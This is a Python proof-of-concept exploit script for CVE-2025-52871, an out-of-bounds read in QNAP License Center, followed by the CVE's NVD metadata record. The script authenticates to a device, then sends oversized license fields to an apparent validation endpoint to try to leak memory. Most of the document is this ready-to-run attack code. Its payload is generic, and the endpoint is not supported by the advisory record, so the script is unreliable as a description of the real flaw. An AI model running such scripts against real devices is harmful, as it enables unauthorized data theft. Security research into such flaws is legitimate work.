CVE-2025-52871

# CVE-2025-52871 PoC - QNAP License Center Out-of-bounds Read # This PoC demonstrates the vulnerability in License Center's license handling import requests import json import sys def exploit_cve_2025_52871(target_url, username, password): """ Exploit for CVE-2025-52871: QNAP License Center Out-of-bounds Read Prerequisites: - Valid user credentials on the QNAP device - Network access to the License Center web interface This PoC sends a specially crafted request to trigger the out-of-bounds read vulnerability in the license validation process. """ # Step 1: Authenticate to get session login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return False except requests.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Send malicious license request to trigger OOB read license_url = f"{target_url}/license/api/v1/license/validate" # Crafted payload that triggers out-of-bounds read malicious_payload = { "license_id": "A" * 1000, # Oversized input to trigger OOB "product_key": "B" * 500, "signature": "C" * 300, "timestamp": 1735766400 } try: response = session.post(license_url, json=malicious_payload, timeout=15) print(f"[+] Request sent, Status: {response.status_code}") print(f"[+] Response length: {len(response.content)} bytes") # Check for leaked data in response if len(response.content) > 0: print("[!] Potential data leak detected") print(f"[+] Response preview: {response.content[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_52871_poc.py <target_url> <username> <password>") print("Example: python cve_2025_52871_poc.py https://192.168.1.100:8080 admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print("="*60) print("CVE-2025-52871 PoC - QNAP License Center OOB Read") print("="*60) exploit_cve_2025_52871(target, user, pwd)

{"cve": {"id": "CVE-2025-52871", "sourceIdentifier": "[email protected]", "published": "2026-01-02T16:16:59.427", "lastModified": "2026-01-05T20:32:33.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability has been reported to affect License Center. If a remote attacker gains a user account, they can then exploit the vulnerability to obtain secret data.\n\nWe have already fixed the vulnerability in the following version:\nLicense Center 2.0.36 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:license_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.17", "versionEndExcluding": "2.0.36", "matchCriteriaId": "A84BCC7F-08B5-4B50-B277-04606B7CEE7B"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-52", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}